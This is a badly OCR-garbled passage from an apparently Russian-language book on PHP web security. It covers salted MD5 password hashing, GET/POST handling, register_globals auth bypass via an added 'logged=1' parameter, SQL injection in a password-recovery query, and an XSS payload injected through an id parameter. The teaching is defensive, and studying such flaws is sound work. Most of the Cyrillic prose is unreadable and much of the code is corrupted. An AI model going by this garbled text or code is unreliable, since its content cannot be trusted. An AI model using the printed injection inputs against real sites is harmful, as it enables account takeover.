1A HErO B 9TOM TAGIHILE COOTBETCTBYIOUIEE IHAHEHHE, KOTOPOE H GYIET PEQTHHbIM fa-
Porew. HaifTi napoh Taxim 00PA30M MOXHO 33 MHITHCEKYHIH.

Tonysaeres, o MDS — 5To MHIMA% 3aUIWT, W IPEBPATHTS XeLls b COOTBETCTBYIOLINH
Ao 0neHb Terko? J1a, 70 TAK, HO Mt MOKEM YCOKHHTS XAKEpY JaTasy, eCiH nepe
W(poBaNMEm Gyziew A0GARTATS K N1GPOIO KAKOR-TO CHMBOI WTH CTPOKY:

Spass = w5 (s_GET(password) ."13sd£x235") ;

Teneps TaGmua xaxepa Gecnonesma. ¥ Hero aarHbie IpocTO saumdpoansi a b Haulex
iTyuac nepex WIHQBPOBIHHEN Mbi K 11aPOTK0 10GABILTH CTPOKY © GECCMBICIEHHEIM IHate-
Hiew. XaKepy TPHIETCA TEHEPHPOBAT HOBYKO TAOHILY, B KOTOpOM Bee SHAYEHHS Mepen
XEWHpOBAHeM TOE OGLEIMHAIOTCA ¢ ITOH GecebCiHIeH.
‘Takofi METOR JAUIMTH BIIOTHE YIaeH, & CTPOKA, KOTOPYIO Bbi AOGABTAETE K Mapoio
Hepes WHBPOBAHHCN, Ha3bBACTE "conbio” (salt). Bbt Kak Gt “oacammpacre” widpye-
Mbifl TEKCT 1 enaeTe ero Gonee GesonacHsiM.
Tlepenentiyio Spass, 3aUMbpOBIHHYKO ¢ "cOTHIO", Mbi COXpaNAEN B Gase 1% Gyayuero
Hemonk30BaNHA:
mysql_query ("INSERT TNTO users (nane, pass) *.

"VALUES (S_GET[name], *. mdS (3_GET(password] .")3sdfc235") .

s
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B 9T0M NpHMepe 13 (POpMS! TEPEAAIOTCH MAAMETPBI METOTOM 2OST, a B KOAE A HCTOTb-
3310 TIOGATSHHIE TIEPEMEHHbie. TO CAETAHO HAMEPEHHO, HTOGH IOKETS BaX elte OTHH
WX HeA0CTATOK. HEcMOTpA Ha HCTIOTHIOBAHHE. METONA FOST, Mbl MOXEM BHITOTHT]
3anpoc crenyIouero sua:

http://192.168.77.1/postparan. phprUserName=FlenoviPasswordeuerty

To €cTh Mbi MepeAaEM NAPAMETP, KK B METOLE GET, 1 IPH TOM ClieHapHH OTpaGoTaeT
nepno. Tloseny? TTpoinema KpoeTe B IIOGATLHbX MIEPEMEHHBIY, KOTOPHIE He "3naior”,
KaKOMi METO Mol HCTIOT3YEM, W He SABHCAT OT HETO. B STOM OTHOLIICHHH HCTIOTEI0BaHME
MBCCHBOB $_FOST H §_GET GoJlee GE30MACHO, TIOTOMY O OHH MPHBAaHH K METORy. ECH
G Mt OGPAGATIIBATH NAPAMETPB C TIOMOILIO MACCHBA _POST, 0 IONITKA NEPeaTs
NAAMETP METOI0M GE 3aBEpIITACS G HeyAaueH, NOTOMY 'TO TaKye NapaMeTp o~
nataioT B AYTOR MacekB 5 GeT. EGAH Bl PEIMTECh MCTOTH3OBATS TAOGATbHSE TiEpe-
Metlbie, TO 37O TOXe MPHISTCH HMETH B Bzy. TIOITOMY MPOTPAMMHCTSI H He TIOOAT
FIOGAISHSIE TeDENCHHHE, W TIPOLLE X OTKITIONHT, SeM AYMAT 060 BCeX WX HEAOCTAT-
Kax. Kai # yske cKaa, 5 TOAE OTRTIOYaI0 1I0BATBHBIE NEPEMEHHBIE W He HCTIOTBIYIO HX.
B awcTire 2,15 MOKA3aHO, KaKk MOKHO TIOTYHTS ZIOCTYT K TIAPaMETPaM Hepe3 MAcCHB,
a TaloKe SAMPETHTY Mepeaty NApaMeTpoB sepes crpoky URL, T. e. MeToow Ger. Ecn
MaccHs 5 GET He MyCTOf, TO BHMOMIEHHe LMK TPEPHBIETCA C COOGUIEHHEN O Hepep-
How napaerpe.

TICTHHr 215, WGnonk308aKHe MACCHBOS AR PAGOTS C NapameTpau

<tom action="arrayparan.pho” meth

‘post>
User Name: <input name="UserName">

<input type="hidden" nane:
<tom>

assuord” valu

ety

<
SE (isset(s_POST"Usextame*]))
«
prin ("<pBave sous: " . §_POST['UserName'] . '</p>');
prin ("<p>llapoms: * . §_POST('Fassword') . "</p>");

Juauchme KHOMKIH TaoKE NONAZAET 5 Mepeveniyio. J[o ITOTO Mt BCCTA HATPABIATH
JGHIHIE GepBepY C TONOLLLO HAXATWA KiasW <ENter>, HO B PEATLHAX TpOrpavMaX
nyue GYET, €CH MOTL3OBATES YBAINT Ha. CTPAHHLE KHOTIKY OTIpABKW, HATPHMEP,
Submit waw Go:

<fom action="aumit) php" method="get>

User Name: <input name="Usertare">

<input type assword® value=tgquerty®>

<input. type="subal® nane="sub value="Go"

<Itom>

idden” ane
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3. CrenepupoBaisiii KR COXPAHAETCR B Gaje B CTICUMATSHOM MOTE, HATPHED,
recovery. JI0 3TOO MOMEHTA MBI 10KA He COPACHIBACM TIapoflb  HHNETO ¢ HHM HE
A€naew Wa Cyuai, €CTH 3T XaKep MbITAETCA FAIONAT YHETHYIO JaIHCE.

4. Tlonksonatens noTyMaET MHCHMO 1 WEAKAET 10 cchuike. ECTH O CMOr mONywHTS
THCEMO 1 YBHICTS CCBUTKY, SHaSHT, 3TO peanbHbik BIATEEL SULAKA H YETHOR 3alh-
. EC 970 XaKep, KOTOPuIi BAIOMAN TIOMTOBBI FULAK, TO TYT Mbi YAE HIIETO 10~
AenaTs e comem (. XOTS HeT, MOHO PEaISOBaTS By X(AKTOPHYIO aBTOpHIAIO,
0 9TO ke O AR HCTOPHS.

‘Cuenapiis passrecovery. php MOXET BHIAAETS MPHNEPHO CICTYIOUAM 06PEIO:

Squeey = nysql_query ("SELECT * FRQM Users WHERE. (nave = 'S_GET(nane] "

'AND recovery = " . §_GET[zecovery] . "* AND recovery < 1'%}

Sows = mysal_mum_rous (Squery);

it (srows == 1)
.

11 vensest napon
I

Kaxas ecti, npoGewa y 37oro kona? SQL Injection!!! Bt 20:mksst cpasy pacrioswasats
370, B TEPBOM WAGHIH KHHTH B JTOM IPHMEPE He GBUIO HHTEKILHH, A JOGABH €€ B
BTOpOM, NPOCTO 1A IpHMEpa.

OGRATEBHO HYKHO SKPHHPOBATS BCE MEPEMEHHbE, TIOTYEHHKIE OT NIOTHIOBATEA,
BETh XAKED MOKET G3 BCAKITX THCEM TIPOCTO OGPATHTLEA K HAUIEMY CUEHAHIO HATpS-
MyI0 W yKasaTh BpeOHOCHHH KOI.

JUIA CHeHBI NapOTA MOKHO BHIGPATS OZHH H3 ABYX CTI0COG0B:

O crewepupobars Howii CysaibIH NAPOL W NIOKASATH €ro b Gpaysepe. ECan noTom
TIOT3OBTEIT 3AXONET €10 TIOMEHATH  CIETATS MPOLLE, TO STO YAKE €r0 MPOGIENS, H
YCTh ZIERAET €10 ONATS MPOCTHIM  3aGhiBaeT. XOTS ClOKHO CrewepHpoanHi -
ot Monkopaten 3a6yeT eime GuicTpee;

O nOKasaTh (OpMY, B KOTOPOR TIOTHIOBATEH BBEAET HOBHH NAPOE, W €70 YoKe COXPa-
wirTh B Gae naw.

B 710G0M c1yac e JaGY/ISTE O4HCTHTS 1107 xecovesy, STOGH OHO GHUTO MYCTIN, HHANE

XaKep MOKET SAIYCTHTS EpEGOp BCEX BOIMORHSX IHavenmii 1% COpOca MaporA Jia

106070 M0L30BATENA. JL1% STOTO AOSTATONHO HATIHCATS HEGOTHUIYIO MPOTPAMMY, KOTO-

Pas GYAET OTAPARIATS GET-3AMOCH! BAIIEMY CUEHAPHIO W ABTOMATHECKH MERATS 3Ha-

HeHHE MapaMETPa recovery. PaHO WI IOSIHO BYIOM MpOWIORIET. A XaKepbi HHKYa 1

He TopomsTCA.

OGPATHTE BHIMaNHE Ha TO, Kak IPOHCXOTHT CPABHEHWE B 3ATIPOCE, TIOKASAHHOM BHILE.

B HEM M TIDOHIBOAM CPABHEHHE HMEHH TIOTB3OBATENA C M1OYMCHHbIM IHIUCHHEM 1

PAMETPA nene, JHANEHE KOZA CPABHIBACM C NapaMETPOM zecovesy. Kpome Toro, none

recovery He J0TKHO GbiTh paBHO MyCTOM CTpoKe:

recovery = " . _GET(recovery] . "' RND recovery <> ™

Ecan st GyleTe O4MIaTh mone racovery MYCTOM CTPOKOH, 1TH B TaGiue OHO GyzeT
TIOTYHATS 110 YNOTHGHMIO 370 SHAYEHHe, & HE UL, TO Ge3 BTOpO HacTH NpoBEpKH Bee
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‘TaKiM OGPa3ON, TIOT3OBATEIT HE CMOKET COSIATS SAKTATKY HA HYXHYIO CTPANMY, 10~
TOMy 0 napameTp ckpuiT 0T URL. TIOCKOBHE CHCTEMBI HE CMOTYT OTAEAHT Oy
TpaHWLY OT pyTOF H HE CMOTYT IPOHHICKCHPOBATS WX, TTOTYYAETCA, SO METONOM GET
HYAHO II€pEAARATS # TAKHC APAMETPHL, KOTOPHIE COTYT OAHOIHAMHO WIEHTHAHLIPO-
BATS, CTPAHHLY, HO TIpH ITOM HEITH34 HAPYWIATS NPABITA, CAACKUIHE, “TO TAHHHE 0GA3-
bt GBITh GE30MaCHMMIH  HE JOTAH! CONCPAQTS BakHOR HHGOPMALIAH,

2.12.4. Meton POST

Tlph paGOTE ¢ (opMaMH MEXAHIIM HCTIOTIOBAHHS METOTA FOST HIYEN HE OTTHUAETCA
OT G, JIOCTATOUHO TONBKO IOMEHATS MM METOA, W Ball Kox Gy eT paGoTaTs Ges bie-
MR JOMOTHHTENHBIX KOPPEKTHPOROK, €CTH B HETIOTLIOBATH UTA AOCTYNA K (12pa-
METpaM [OGATBHHIE TiCpEMEHHbIE, @ HE MACCH 5_GET (L% POST HCTIONKIYETCS APYIOH
accnn). TIpHMED HCTIONKI0BAHIS METOA GET, PACCMOTPEHHSIH PaKee, MOHO H3MEHWTS
A POST CCYIOUIAM 0GPEIOM:

<tom action="paran.php" method="post">
User Name:

<p<input name="UsexNane"/></p>

<pocinput. type- Password® values"querty"></p>

</tom>

idden” nane=

BOTblie HHKAKIX HIMEHEHHH BHOCHTS He HATO.

Tlpi HenOEI0BaNHH METOZA ZOST B TERO 3AMPOCA TIONAARIOT H BCe NAPANETPH B BHIE
1ap socr-ssauessre. [TOMHMO STOTO, SHAEHIR TIEPEMEHHIX H 1X HMEHA MONZALOT B MaC-
b sHTTe_POST vaRS. UTOGH He THCAT TAKOS [UIMHHOS WMA, MOKHO HCTIOTKIOBATH
RCEBTOHHM 3_0ST.

Xots napawerpsi He swab B cpoke URL, npoGiea He pewsaetca nonmocTsio. Jlomyc-
THM, O BBt PAIPEUILII HCTIOTHIOBAT FAOGATBHBIE NIEPCMCHHEIE W NPHMCHACTE HX T3
0STYNa K NAPAETPaM, KaK TIOKA3AHO B acrimre 2.14. CoxpanTe 10T Koa B aiie
 wvenew postparam.php.

| Mucrunr 214! ipuwep nepesaun napamerpos MeTomom Z0sT

<form action="postparan.php® method="post">
<poUsex Name: <input name~"UserNana"/></p>

<peinput. type="hidden” name-"Password” value="querty™></p>
</tom>

<zphp

i (1sset (suserName]))

«
Print ("<p>Bave eut nomacearent: * . SUsertiame . '</p>');
Print ("<p>llapoms: " . SPassword . "</p>") i
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T1aBHOe, “TOGM 5T Moe He MeHLI0ck. ECTH €CTh ONUR MEHSTS HVA TOTHIOBITETS, TO
noGe Caeri napoh nepecTaneT paGorars. MOHO HCTOTS0BATS MPOCTO NEpBIIH
KJTioH TAGTHUS, 'TO Toe ABTAETCA BIOTHE PAGONHM CTIOCOBON, H 5TO TIOTE HHKOTAA He
Mensercs.

K MpEHMYILECTRM 5TOrO METOA MOXHO OTHECTH SKOHOMHIO MECTA B Ga3e JaHHAI, Bl
MBi He coxpansem B Hei AonOTHATERBHOE MOTE ¢ "conbio’. "Conbio” ABTACTCA MM
OTI0BATENS, KOTOPOE M BCE PABHO XparH. BTOPOE MPEHMYILIECTBO — Mol HIbaRT-
€MCA OT JIHIIKEIO 3aNpOCa K Gase AGHHBIX /1A IOHCKA "COH' Epet NPOBEPKOF ABTOpH-
31w TIpH BXOZE B CHCTEMY TIOTS30BATE BBOIHT H M, H TIapOTh, TIOSTOMY HAM He
HYHO HOKATS "COT" B GG3€, Y HAC OH YAE ECTh B KAYECTBE GET- WM POST-IAPANETPA
(33BHCHT OT TOTO, WTO BBl HCOTIYETe, HO HATEICh, WTO FOST, MTOGH BBENEHHOE WM
TIOTH30BATEAS W NApOITS He MORBILTHCS b cTpoKe URL),

HEfOCTATOK ¥ 3707 METOAA OTHH, HO AOCTATONHO CephesHbli, H XGKEpY 7erKo 1M Boc-
nOMs30BaThCA. XaKep MOKET CreHEpHPOBTS TAGTHI COOTRETCTRINH CTPOK i XetleH 213
HanGoflee NOMyAPHBIX WMEH NOTEIOBATEIEH. [CHEPHPOBAT Bee OH HE GYICT, MOTOMY
T €10 WHTEPECYET TOTHKO YHETHA JATHCH AIMHHHCTPATOPA. A KIKOE WA Hallle Beero
HCIOTB3YIOT 113 AAMHHHCTPATOPCKIX YHETHLIX 3amicei? B GoTbumHCTEE Caysaes 10
admin, M0TOMY HMEA TaKYI0 TAOTHLY, MOXHO GHICTPO MOAOGPATS ATMHHHCTPATOpCKITi
niaponk o "3aconesHOR" Xel-cywe. UTOBH TAKOE He CTYSHIOCH, B BauieH CHCTEME He
IOIIKHO GHITh QIMHHHCTPATOPOB ¢ Hwerew admin.
Paceworpim creayioumHi Kox:
SELECT * FROM Users WHERE (name = 'S GET(nane]

'AND (pass = '" . md5(s_GET (password] . "Ssalc™)

0 AND pass = " . 5_GET(password] "))

B IaHHOM Cy4ae 1apos CPABHHBAETCA CO SHASEHHEM B GA3E C YHETOM WIHQPOBANIA
6€3 Hero. 1o cAEnaO 1 Toro, wTOGH mpouie Ghuo cOpaceipaTs naporw. Hanpwep,
€CH KTO-TO W3 QIMHHHCTPATOPOB WIH TIpOTPAMMUCTOB 380YET NIZPOITS, TO HEPES Tps-
MOff Z0CTYT K Gade ZGHHbIX OH TIOMEHAET NapOITs, 3ATHCAB B Gasy HesAUMDPOBaHHHH
BAHAHT, W TAKOH 3ANPOC_ BHITOTHHICA KOPPEKTHO. TIPHEN 3TO PeaTiioBaHo B mpo-
rpawMe, KoTOpas XpaHyT GOTbUIYI0 Gasy JaHHBX NOTSOBATENEH, B TOM aHCIe diHaN-
conyo wHbopwaLo. Hikorza He feaiite Tak!!! B TOM cyuae Monb3si OT WHbpoB-
HHA HET HAKAKOW, BCb Ml BCE PABHO MDOHIBONHM B TPOBEPKH, OTHD H3 KOTOPHX
‘CPaBHHBGET NApOS ¢ JaNIMPPOBAHHON BepeHet, & TPYTas — ¢ HEIAIMBPOBANHOF.
KaK PEaisonaTs cHCTeMy BOCCTAHOBTEHHA Maposeii? TIOTs30BATEAH PeryIApHO 3aGbi-
BaIOT WX, HO KK K€ JATh WM BOIMOKHOCTS BCTIOMHHT cBOit napons? Hikak. Mbi e
MOKEM W He JOAHHI ITOTO ZeTaTh, B Gase AQHHAIX HET ApoTel b OTKPHTOM BHIE, 8 110
XEll-CYMM BOCCTAHOBIICHHE HEBOSMOAHO. EIWHCTBCHHOE IPABITGHOE pelieHHe — 1aTh
BOIOKHOCTS COPOCHTS NBpOT HTH YCTaHOBHTS HOBbH. Moo AeHCTBORATS Crenyio-
i opaon
1. TIoRb30BaTeIth BROTHT CBOF NONTOBI ALK, YKASAHHEIH TDH PeTHCTPALIM
2. Cuenapwil reneppyer cyaliibili Ko, KOTOPbIH MOXHO eite W 3aUIHGPOBATS © 10~
Mousio MDS ura nyuefi KpacoTsi # 8355 ToTbko nepasie 16 cinponon xeiwa. Jlanee
TEHEPHPYETCA MHCEMO, B KOTOPOM TIOTI30BaTENK0 OTnpantseTcs URL BHa
httpe//www.sauicaiimipassrecovery.php?name=uanossosamean&id=xoo
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Jla, TaKolt MGAMETp He NEPEXIETEA C MIOMOLbIO GOPM, HO 3TO HE SHANHT, WO Ml He
MOXEM €10 HCrIOTb30BaTS. Bbl BIPaBE NEPEATS 0G0 NAPAMETp, AWKE TOT, KOTOphE
He MCTIOTB3YETCH B cueHaphw, W WiTepnperatop PHP o0wsan GYIET Costams Takyio
nepemeyio.

B Hauwe pHMepe mepen CTAPTOM CUEHADHA WHTEPTIDETATOP COBIAET TEPEMEHHYIO
Slogaed n nprceawBac e asene |. Teneps cuewapwi padoract ¢ watieh nepeven-
HOF, KOTOPOH Yok IDHCBOEHO SHANCHWE 110 YMOTHEHHTO, 8 IHAYHT, JKE €CTH TPOBEPKA
HMEHH W 19POTS CT OTPHUATEBHBH PE3YTBTAT, NDOBEPKA SHAUCHMA TEpEMCHHON
$1ogged Ha PABEHCTBO EXMHMLLE GYIET NOTOKHTENLHOM,  XaKep YBHINT 3aKPHTHE Aat-
.

Ha nepaiilh BT, BAToMaTS CiieHapHi Hepe3 iepeenHsie A0cTaTouHo npocto. Ho a1s
TOTO XaKEp AO/KEH HMETS AOCTY K HEXOZHOMY KOTY CLIEHAPHS, “TTOBI JHATS, KaKHE
TepeMEHHBIE HCTIOTS3YIOTCA B CLEHZPHH, H HMETh BOIMOXHOCTS ONIEIT 1. Eci
TEKCT CLEHADHS HEWIBECTEH, TO YTAATh, KaKOM 1APAMETp HYKHO NIOLIETATS, MPAKTHYC-
cxon HeBosmoko. Ho cci saum cuenapii npHmaniexs K Aty Open Source, To TyT
YK BOSHKAIOT IPOGTIEMSL.

Kak X pemars? Ecro 1ea papwara.

1. VTaHOBHTS 3HaueHHe AMPEKTHBSI register_gichals B off H HCOALIORATH MACCHB.
B 3TOM CyMa€ MIEPENEHHER Slogged WD CUEHAPHA 1 TIEPEMEHHAR 13 MACCHBR apa-
METPOB GYAYT PASHEINH, # MONOGHHi BYTOM OKAKETCA HEBOIMOXHEIN. JIHUHO # Hit-
KOTZa HE HCTIOT3Y10 FIOGATBHIE TIEPEMERITLIE H Bay He COBETYIo. 51 He OG0 Hi-
€ro HIOGATEHOO, AWKE MPOCTO B KOTe CBOWX CUEHapHeB RHKOTAA He OGBABTANTE
FAOGATBHEIX TIEpEMERHEIX.

2. VHHIBATIHPOBATS TieEMEHHbIE, KOTOPHIE He AOTKHSI TIEPEIABATEES OT MOTIOBA-
Tens. Jlmie MpH OTKITIOSCHHBX TTIOGRTEHBX NEPEMCHHBIX  BCE PABHO HHMLMATHIH-
Py10 Bce. Beeria pOHSBOTE HHHIMATHSALIIO NEPEMEHHHIX 10 HX HCTIOTS30BAHHS.

Creaylouit IpHMEp NOKESHIBAET, KAK C MOMOUISH0 HHMUMATHIALHH AUIATHTECA OT

B3I0Ma tepes nepemente:

<fom action="testpass.php" method="get">

Jaans <input. nane-
+ <input name="password”>

Sloggede
i (Spassworde= Slegal pass) and (Susernames-Slegal nane)
Slogged = 1

i (S10ged)
«

11 Tomssonarens apzopuacsan
)

Jlaxe € XaKep TIOLIETIET NEPEMEHHYRO S1oged, B CAMOM HASATE CUEHPHA Mol pH-
HyTnbHO MpONILEN B Hee 3HaCHME O, H TONHKO b CIYHAE YCICLIHO NPOBEPKI HyE-
4 IOTB0BATEIt H BPOTA SHAEHH $ ogged HIMEHITES Ha 1.
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St = preg_replace ("/vbscript/i",
retumn se7
)

Vbsnbsp; scriptanbsps”, $1)i

He crou 3roro aenats. Bu obwsatensio yrycrure onacksii Ter. HeoGxomwo sanpe-
TS Bee, HHAHE BaLI CHETEM GE0MIACHOCTH OKIKCTCH YSIBHMO

B 30BHCHMOCTH OT KOWTEKCTA, OMIICHHMI MOTYT G pasisie cimBonsi. Eciin i ceff-
sac TpocTo mwere ¢ Mook PHP Kako#-To KOX Wa CTPAWAIY, TO TYT OmacHsM
smasiores HTML-Terss i 5 0cOGEHHOCTH CHMBOTS! YTTIOBHIX CKOGOK < >.

ECITH Bt BHIBOAHTE \TO-TO BHYTDH Tera, T0 TYT YKe Oeh OTIACHHIM CTaHOBTCA O~
HapHbie Wi ABoRHbE KapsrkH. Hanpinep:

<a hret

test.php?idect= §_GET('1d") 7>">Caumac/a>
ECTH XaKep B KateCTBE MapaMeTpa id MepEIacT HTO-TO Tra:
1 onclick="alert (*Hacked')

B peaynsTare cchika npespaTiTes b:

<a hres

"/tost.php?ide1" onclic

"alert (*Hacked!) ">Cmnxac/a>
Tlo ek Ha Taxofi ccuike BsmOAHHTS JavaSeript-xox, KoTopi ykasan xakep. C rio-
Mousio JavaSeript MoAHo ypacTs cookies monsoBaTeeH,  eci Ha cafire He Geso-
TIACHO PEATIIOBANO YIPABTCHHE CECCHAMH, TO, BOIMOAHO, XaKep OTYSHT A0CTYTI K ak-
Kaywry.

3.12. Znya

BOTBUMHCTRO XaKepOB HAUHHACT CBOKD KaphepY ¢ HEGOTHIINX WaTOCTEH, OTHOM 3 Ko-
Topeix amzeTes g0 (flood). Uro 310 Taxoe? JlomycTiny, 4To bt coanacte dopyM wIH
FOCTEBYIO KHWTY, Te 1060 TIOCETHTETs CaliTa MOXET OCTABHTS CBOE coosuerHe. 310~
YMBULTEHHHK MOKET TIOMHTATECA SACHITATS Gasy TGHHHX GECCMBICTEHHEIMH COOGIE-
A, KOMY-TO KEKETCA STO CMELIHbIM, HO A BIDKY B STOM TOIEKO TYTIOCTS H IETCKYIO
wanocs. (Ha camow Aere, % Iywaio 0G0 Bcew STOM b Goree rpyGo dopwe, Ho Takwe
0B He IpA HAFBIBAIOTCA HETICHATHEINK.)

3.12.1. 3awmra or pnyaa coobiueHmammu

O W3 BAHAHTOB 3a1LHTH O BAYZa GYET 3ATIPET Ha OTTIPABKY C OIHOFO 1 TOFO e
IP-anpeca HecKoTbKIX cooGULEHHH TIOTPAL. JLTA 3TOTO MOKHO PEATHIOBATS B CUEHAPHH
CETYIOUIYIO HOTHKY:

1. Tlocte OTPABKH NOTH30BATEAEN COOGUIEHHA AAPEC TIOCETHTENA W TEKYLLIEE BPENS
COXPAHAIOTCA A CepBepe B Gate aHHHIX. XPAHHTS QIpec HEOGXOTHNO HMEHHO Ha
cepbepe, MOTOMY 4TO BCE, MTO HAXOIATCA Ha KOMIbOTEpe-KIMEHTE, G¢3 npooren
VHHUTOKAETCA 32 NATH CeKYHI, 8 TO 1 GuicTpee. UTO0H! ONPEAETHTS AI1peC KTHeHTa,
MOXHO HCTIOTE30BATS MEPEMERHYI0 OKPYKEHHA REHOTE_ADTR:

5_SERVER ["RENOTE_RODR")
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<zphp
i (s_poST("sub"]
«
print("<p>Submitted: " . §_POST("sub] . "</p>");
y

XOTA TpH HCTIOTS30BAHWH METOA POST NIAPANETP! He B B cTpoke URL, e cromm
20B8BaTE, 4T0 3TH NApaMETPH HEGEI0MaCH. TakHe AQHHBIE TOAE MOXHO MOTHDHLIPO-
BaTs, MpoCTO TpEGYeTes YT Gonbie YernHi, HO OTO HE OCTAHOBHT Xakepa. MeTon 05T
HEOGXOIIM B TOM CTyHae, KOTIa BBl XOTHTE, WToGbl TIAPANETPbI MIpH NIEPEAAYE He OTO-
Gpaxaniics » cTpoke URL, 1 0CTOpOHHHI He COT HX TPOWHTATS C JKpaHa MOHTOPA.
'Ho DM 5TOM Bt IOTKHb YIETATS STHM NAPAMETDAM HE MEHbLIIE BHHMAHAS H TIDOBEPSTS
Ha 7OGHE OTKTOHEHHA W HETOMYCTHMGIE CHMBOTH, O EM Ml GYIEM TOBOPHTE 5
paso. 3.5

2.12.5. YassumocTs napameTpos

Tipi paGote ¢ napaveTpamH HyAHO GTh oveHs axkypaTHBin. ECAH B KOHHTypaLlAOH-
HoM aiire php.ini yCTaHORTEN NapaNeTP register_globals, TO COTIAOTCA FIOGATBHBE
TIePEMEHHBE. TO MOXET OKSATECS MPHIHHOH YAIBHMOCTH TIDH HEBHHMATETHHOM 11pO-
FPaNMMpOBaHMH. PACCMOTPHM YSSBHMOCTS Ha IDHMEPE:

<fom action="testpass. php" method="get">
Woss: <input name="usernare">

Nlapors: <input name="password™>

</om>

if (Spassword == $legal pass) and (Susername == Slegal name)
Slogged = 1

i (Slogged)
f
1/ Tomssosarem a

opuaosan

JlorhKa paGOT MPHMEPA ZOCTATONHO MPOCTa. CUEHAPHIO MEPERAIOTCA T8 NIAPANETPA:
Susernare W Spassword. EGTH OHH GOOTBETCTBYIOT MpACTPAM NETATEHOTO TOTB30RATE-
78, TO mepeMEHHON $1ogged MPHCBAHBAETCR 3tasene 1. TIocie STOTO MPOHCKOTHT Mpo-
BepKa IHaSEHIA EPEMEHHON $logged: CCTH OHO PABNO I, TO ABTOPWILIAR MpoULTA
YETIHO W MOKHO BBITOTHATS AKPHITHI KoL

Crpoka URL, KOTOpa Z07KHA HCTOI0BATECA 1A JAHHOTO IDHMEDG:

bitp://192.168.77. 1 testpass.php?username=admin&password=pass

10 noTyHTes, ecam Xakep 206asut B 5107 URL napaverp Logaec:
Bttp://192.168.77.U/testpass. php?username=admin& password=pass&logged=1
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AU SAMHCH Cpasy CTaHyT ysBUMBIMMH. BaoMMK Ges yewuli OGpaTHTCA K Baieny
CHUEHaPHIO 1 TEPEACT €My TOTBKO HMA OTS0BATENA, T1apaMeTp cecovery IOCTATONHO
OCTABMTS IyCTHiM, # Napoh GyeT CGpoEH

3.11. Arvaka Cross-Site Scripting

Ouna w3 coBpevennbiX atax Ha Web-calfrst nonywwna wassanme Cross-Site Scripting.
Ona ocHosawa Ha Tow, o xakep Breapset 5 Web-crpaniuy caon HTML-mapextiss
C X TIOMOWIBIO €My yIa€TeR yKpacTh conepkimoe daition cookies noceriTens caiita.
Ec b 51X pafiax Gbui COXPAHEHS! NAPOTH, TO XaKep NOTYHAET Z0CTYN K YHeTHOM
aammen nossoatens

[ECH XaKep CMORET BHEAPHTS CBofi KO B Web-CTPAHHLLY, TO 370 TPOSHT HaM HE TOTEKO.
BYIOMON, HO 1 opHe# conepAHMOro. TIph OMPEXEEHHMX YCTOBHRX TAKYIO ATAKY MO-
HO OTHeCTH K Knacey Aedeiic (OIMEHa CTPaHHLL), TIPAB, 9TH YCTOBHA CIHIIKOM pH-
TAHYTH 30 Y1, BOSMOKHOCTS BHEADEHI 4YKOTO Kol Ha Caift A€HCTRHTEbHO Onacka,
W Ha 37O WA SAKPHBATS F7a3a

ToGH XaKep He CMOT BTHATS Ha ConepAHMOe Web-CTpaRIL, Bl TOTKHb BHAMATETSHO
TIDOBEPATS KekAbiH NAPANETP, KOTOPBI TIEPEAAETER MIOTHIOBATEEN H COTEPRHNOE KO-
TOpOrO BEIBORHTCA Ha cTpaHLy. JIOMYCTHM, STO BH XOTHTE HATIHCATS POPYM HIH FOC-
Teyio Kiury. TaKHe ClEHAPHH OGRIATENLHO 1OTYHIOT TEKCT OT MOTKOBATENEH H OTO-
Gpaxaior ero Ha Web-crpanute. HeoBX0mMo, STO0H XAKEP He COT OTOGPAsHTS Ha ok~
pase Hiuero TuHero.

A im0 uriee on MoeT oToGpanTh? S wwieio B By HTML-ern. Kak pas ux wenons-
30BaHHE Ha CTAIHLLE H MIPHBOIHT K NPOGIeNaM. ECTH Bbi OTOGPAGETE Ha SKPAHE TeKCT,
RIOTYeHHIE OT TIOTH30BATEA, TO OH JOTKEH BHBOANTHEA KaK TEKCT, @ e Kak HTML-
panveTKa. ECTH MOTb30BATES BBEET TEKCT <h1>Title</hi>, TO O JOKEN BHTAIET
Ha SKPAHE KaK <1573 1e</h1>, & HE KK OTHOPMATHPOBIHHOE KPYTIHKIM WIPHTOM C10BO
Title

Jins ofesmpenarns mepeveniix ot HTML-KOZa MOKHO MCMonL308aTs dyhKitio
hemlspecialchars (), KOTOPYIO M paceMaTpBami 5 pasd. 3.5. Ho y Hac yke aocraTos-
HO WHOPMALLK, “TTOGH! He HATEATHCA Ha Ty yHKLNO. Ha MO BSTAA, GyeT Hawworo
TyiLe, ecH B HATMILIETE PEryIAPHOE BHPEKEHHE 1 (GYHKLUIO, KOTOPHIE GYIYT 3ave-
HSTH CHMBON < TIOCTEAOBATETIBHOCTHO 61

Henonsiosane COBCTREHHOTO peryIAPHOTO BHPEAEHHS He obecrieanbacT Goriee Bhico-
KyH0 CKOpOCTh paGOTH, 3TO FAPAHTHPYET YHHBECATSHOCTS MOAX0Ta. Bbi Gyzere Hapa-
LABATS byHKIMOHATLHOCTS, PACLIMPAR BOIMOXHOCTH TIOHCKA H 3aMEHH.

HeKoTOpHIE MPOTPAMMHCTE MITAIOTCA JANPEIIaTh TOTHKO OMPEACIICHHHE ONACHSIE Teri
WM MAPAMETP TeroB (Javaseript, VBScript H AP.), HAPMEP, ¢ IONOLIbNO TaKOH M1po-
uexyp:
function RemoveScript ()
«

St = preg_replace("/Javascript/i”, "javasnbsp:scriptanbspi®, $)
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Tlepasiil mywKT ABASETCA CaMbiv BaHBIN. JIONYCTHN, HTO Y BAC €CTH CTPAHKLL, KOTOpOM
TEPENAETCA HOMEP AMETKH G107a. ITOT HOMED HMEET CMHICA TIoecTHTS B URL, moTo-
MY HTO €CAM MOTHI0RATEN NOMECTHT €T0 B 3aKTATKY  MOTOM ATPYINT CTPARWIY )
JAKTATOK, TO OW AOIAEH MONACTS Ha Ty e IAMETKY NN Tew e Hovepow. TlosTomy
B HIHTEpHETe 0teHs YaCTO MOKHO YBWIETS CTPAHHLI b CTHIE:
hitp://www.flenov.info/blog.phpZeatid=2836

Tapanerp catid — 5To kax pas ynKaTBHNH HoMep sameTk. TIOHCKOBHIE CHCTEMS!
‘GYIYT WHAEKCHPOBATS Ty CTPAHMLLY IOZ STH GPECOM, H OH YHHKATEH Ha MOEM GAOTE.
He crpaimpaifre, nOvewy NapavETp HIHBAETCA catid? 51 HE TONIIO, IOYEMY  €r0 Tax
Haspan. Uatie M0AOGHSIE NAPAMETPB HASBIBAIOT TPOCTO id.

TIapaMeTpsi 114 CTPAHHLL MOHCKa Tak K€ MOKHO TIEpeAaBaTs Hepes cTpoky URL:
bttp:/www.flenov.info/search.php?searchfor=Teer

